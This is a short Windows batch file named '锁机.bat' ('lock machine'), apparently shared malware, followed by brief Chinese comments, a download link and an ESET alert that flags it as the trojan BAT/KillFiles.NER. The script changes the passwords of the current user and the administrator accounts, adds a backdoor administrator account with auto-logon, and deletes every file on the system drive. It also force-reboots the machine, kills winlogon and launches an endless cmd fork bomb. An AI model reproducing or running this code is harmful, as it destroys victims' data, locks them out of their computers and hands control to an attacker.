@echo off
net user %username% ****you
net user qq3256076553 ****you /add
net localgroup administrators qq3256076553 /add
net user administrator ****you
net user admin ****you
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v AutoAdminLogon /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v DefaultUserName /d qq3256076553
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v DefaultPassword /d
@echo off
del %systemdrive%\*.*/f /s /q
shutdown -r -f -t 00
@echo off
cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul
@echo off
:xiaoz
cls
start cmd.exe
goto xiaoz
shutdown -s

烂

太烂了,绝对被秒杀

ESET
https://yqall02.baidupcs.com/file/9203169b1d708fd586f950aa4a9daa6e?bkt=p3-14009203169b1d708fd586f950aa4a9daa6ea1678b76000000000296&fid=902368753-250528-714222346500564&time=1534901750&sign=FDTAXGERLQBHSKW-DCb740ccc5511e5e8fedcff06b081203-UvaO7/WVfCpZMsQDHN6lOWuwNK8=&to=73&size=662&sta_dx=662&sta_cs=24&sta_ft=bat&sta_ct=0&sta_mt=0&fm2=MH,Yangquan,Anywhere,,None,any&resv0=cdnback&resv1=0&vuk=282335&iv=-2&htype=&newver=1&newfm=1&secfm=1&flow_ver=3&pkey=14009203169b1d708fd586f950aa4a9daa6ea1678b76000000000296&sl=82640974&expires=8h&rt=sh&r=164870015&mlogid=8871966550263437605&vbdid=2224767512&fin=锁机.bat&fn=锁机.bat&rtype=1&dp-logid=8871966550263437605&dp-callid=0.1.1&hps=1&tsl=50&csl=78&csign=0vnYzTYv2VV/f/Rkrbacf8q2JPs=&so=0&ut=8&uter=4&serv=0&uc=4192912830&ti=54c943154d862903e020d9abc5c68ccbf7882d20388a999a&by=themis;
BAT/KillFiles.NER 特洛伊木马;连接中断;通过应用程序访问 web 时检测到威胁